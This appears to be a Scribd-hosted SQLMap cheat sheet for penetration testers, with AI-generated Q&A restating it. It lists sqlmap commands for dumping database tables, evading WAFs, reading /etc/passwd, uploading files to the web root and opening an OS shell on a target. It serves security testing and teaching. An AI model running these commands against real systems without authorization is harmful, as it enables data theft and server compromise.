0% found this document useful (0 votes)
15 views5 pages

SQLMap Usage Guide and Cheat Sheet

Uploaded by

abdomylove01
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
15 views5 pages

SQLMap Usage Guide and Cheat Sheet

Uploaded by

abdomylove01
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SQLMap Cheat Sheet & Guide

Basic Usage

sqlmap -u "[Link] --batch --random-agent

- -u: Specifies the target URL with a vulnerable parameter.

- --batch: Runs non-interactively using default answers.

- --random-agent: Spoofs a random User-Agent header.

Example:

sqlmap -u "[Link] --batch --random-agent

Target Authentication

--cookie="PHPSESSID=..."

- Use this to pass authentication cookies for logged-in sessions.

- Useful for testing authenticated areas.

--auth-type=basic --auth-cred=admin:password

- For HTTP Basic Authentication.

- Replace credentials as needed.

--csrf-token=token_name

- Automatically grabs CSRF tokens from pages and includes them in requests.

Example:

sqlmap -u "[Link] --cookie="auth=123abc" --csrf-token="csrf"


SQLMap Cheat Sheet & Guide

Database Enumeration

--dbs

- Lists all available databases.

--current-db

- Shows the currently selected database.

--tables -D database_name

- Lists all tables from a specific database.

--columns -D dbname -T tablename

- Lists all columns from a specific table.

--dump -D db -T table

- Dumps all data from the specified table.

Example:

sqlmap -u "[Link] --dbs

sqlmap -u "[Link] -D testdb --tables

sqlmap -u "[Link] -D testdb -T users --columns

sqlmap -u "[Link] -D testdb -T users --dump

Detection Techniques
SQLMap Cheat Sheet & Guide

--level=5

- Sets the depth of tests (1-5). Higher = more payloads.

- Use level 5 for full coverage.

--risk=3

- Defines risk of tests (1-3). Higher = more invasive payloads.

--technique=BEUSTQ

- Specify techniques:

B: Boolean-based blind

E: Error-based

U: UNION query

S: Stacked queries

T: Time-based blind

Q: Inline queries

Example:

sqlmap -u "[Link] --level=5 --risk=3 --technique=BEU

Bypassing Protections

--tamper=space2comment

- Modifies payloads to bypass filters/WAFs.

- Useful tamper scripts: between, charunicodeencode, space2comment, etc.

--delay=2
SQLMap Cheat Sheet & Guide

- Adds delay (in seconds) between HTTP requests.

--time-sec=5

- Time (in seconds) for evaluating time-based blind SQLi.

Example:

sqlmap -u "[Link] --tamper=space2comment --delay=2 --time-sec=5

Advanced Features

--os-shell

- Attempts to get an interactive shell on the target OS.

--file-read=/etc/passwd

- Reads a file from the target server.

--file-write=[Link] --file-dest=/var/www/html/[Link]

- Uploads a file to the target system.

--identify-waf

- Tries to identify if a WAF is present on the target.

Example:

sqlmap -u "[Link] --os-shell


SQLMap Cheat Sheet & Guide

Tips

1. Always test manually before confirming a SQLi.

2. Use proxy with sqlmap: --proxy="[Link] (to test through Burp).

3. Combine with recon tools like gau, waybackurls, and httpx.

4. Read the full sqlmap docs: [Link]

Common questions

Powered by AI

Manual testing is critical before confirming SQL injection findings from sqlmap due to the nuances in web application logic and defenses that automated tools might misinterpret. Manual testing helps verify false positives and ensures thorough understanding of the vulnerability context, allowing for responsible and precise assessments .

The '--batch' option in sqlmap automates interactions by using default answers, which is useful for non-interactive operations, enabling efficiency in script-based or repeated testing scenarios. The '--random-agent' option spoofs a random User-Agent header, helping to simulate different browsers and avoid easy detection by security systems, enhancing the realism of the testing process .

Sqlmap's '--technique' option supports six SQL injection techniques: B for Boolean-based blind, E for Error-based, U for UNION query-based, S for Stacked queries, T for Time-based blind, and Q for Inline queries. Specifying techniques is important because it tailors the injection attempts to the application’s behavior and defenses, potentially bypassing security mechanisms and achieving deeper penetration, facilitating targeted testing for vulnerabilities .

The '--os-shell' feature in sqlmap should be used with caution as it attempts to gain an interactive shell on the target's operating system, which could lead to unintended server disruptions or legal complications if not authorized. It's crucial to ensure proper authorization and understanding of the target system architecture to avoid causing irreversible damage or exposing sensitive environments .

Sqlmap can enumerate database structures using several commands: '--dbs' lists all available databases, '--current-db' shows the currently selected database, '--tables -D [database_name]' lists tables from a database, '--columns -D [dbname] -T [tablename]' lists columns from a table, and '--dump -D [db] -T [table]' retrieves data from a table. These commands help in methodically exploring and mapping the database structure .

Sqlmap handles authenticated areas by allowing testers to pass authentication cookies with the '--cookie' option. For managing HTTP Basic Authentication, sqlmap provides the '--auth-type=basic' and '--auth-cred' options for specifying credentials. Moreover, it includes a '--csrf-token' option to automatically capture CSRF tokens, facilitating the testing of authenticated sessions without altering the application's integrity .

Sqlmap offers advanced post-exploitation features including '--os-shell' for obtaining an interactive shell on the target system, '--file-read' for reading files from the server, '--file-write' to upload files, and '--identify-waf' to detect presence of a WAF. These capabilities can significantly amplify the impact of a successful SQL injection by allowing attackers to manipulate the server environment, potentially leading to complete system compromise .

Tamper scripts in sqlmap can modify injection payloads to circumvent security filters such as WAFs (Web Application Firewalls). For example, using the '--tamper=space2comment' script transforms spaces into comments, potentially bypassing filters that do not recognize SQL comments as delimiters. Such bypassing techniques are crucial for penetrating obstacles that might block standard injection attempts .

Integrating sqlmap with proxy tools like Burp Suite through the '--proxy' option allows for detailed inspection and manipulation of HTTP requests and responses. This integration offers advantages such as enhanced visibility, ability to intercept and modify traffic on-the-fly, and facilitating a hybrid approach that combines automated scanning with manual expert analysis, improving overall test accuracy and effectiveness .

The '--level' option in sqlmap sets the extent of tests to perform, with values ranging from 1 to 5, where a higher level means more comprehensive tests with more payloads. The '--risk' option defines how aggressive the payloads will be, with values from 1 to 3. A higher risk allows for potentially more invasive tests. Together, these options allow users to balance thoroughness and potential impact on the target, tailoring the depth and invasiveness of the injection attempts .

You might also like